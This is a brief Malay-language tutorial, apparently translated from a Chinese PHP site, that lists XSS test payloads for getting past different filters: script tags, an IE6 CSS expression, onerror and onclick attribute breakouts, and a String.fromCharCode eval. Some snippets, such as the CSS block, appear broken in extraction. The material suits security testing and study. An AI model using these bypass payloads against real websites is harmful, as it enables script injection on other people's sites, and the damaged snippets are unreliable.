Rumah  >  Artikel  >  Operasi dan penyelenggaraan  >  Bagaimanakah ujian kecil xss dilakukan?

Bagaimanakah ujian kecil xss dilakukan?

WBOY
WBOYke hadapan
2023-05-19 11:37:06927semak imbas
  • Tiada sekatan keselamatan, gunakan terus

<script>alert(/xss/);</script>

  • Sekatan: Hanya CSS boleh digunakan, tag html tidak dibenarkan

Kami tahu bahawa ungkapan boleh digunakan untuk membina XSS, tetapi ia hanya boleh diuji di bawah IE. Oleh itu, sila lakukan ujian berikut dalam IE6.

body {
black;
xss:alert(/xss/));/*IE6下测试*/
}
  • Sekatan: HTML terlepas dan teg Imej tersedia .

Aksara yang dimasukkan dalam ujian akan dimasukkan ke dalam alamat src, jadi anda boleh menggunakan protokol pseudo untuk memintasnya.

Masukkan

alert( /xss/);

terus atau anda boleh menggunakan acara untuk memintas, hanya perhatikan pernyataan penutup, seperti berikut:

1" onerror=alert(/xss/) ; var a="1

  • Sekatan: Penapisan kata kunci digunakan.

Saya mengujinya, kebanyakannya ditapis, ada yang tidak ditapis, selepas ujian skrip/onerror ditapis, tetapi onclick tidak ditapis, gunakan acara onclick untuk memintas

<img src=# onclick=alert(/xss/);>
  • Sekatan: Gunakan tanda miring tambahan untuk melarikan diri daripada aksara ciri

Maksudnya, petikan tunggal, petikan berganda, dsb. tidak boleh muncul dalam pernyataan XSS kami. Watak ciri.

Gunakan

<script>alert(/xss/);</script>

terus untuk memintas

atau gunakan kaedah String.fromCharCode, seperti berikut:

<script>eval(String.fromCharCode(97,108,101,114,116,40,47,120,47,41,59));</script>

Atas ialah kandungan terperinci Bagaimanakah ujian kecil xss dilakukan?. Untuk maklumat lanjut, sila ikut artikel berkaitan lain di laman web China PHP!

Kenyataan:
Artikel ini dikembalikan pada:yisu.com. Jika ada pelanggaran, sila hubungi admin@php.cn Padam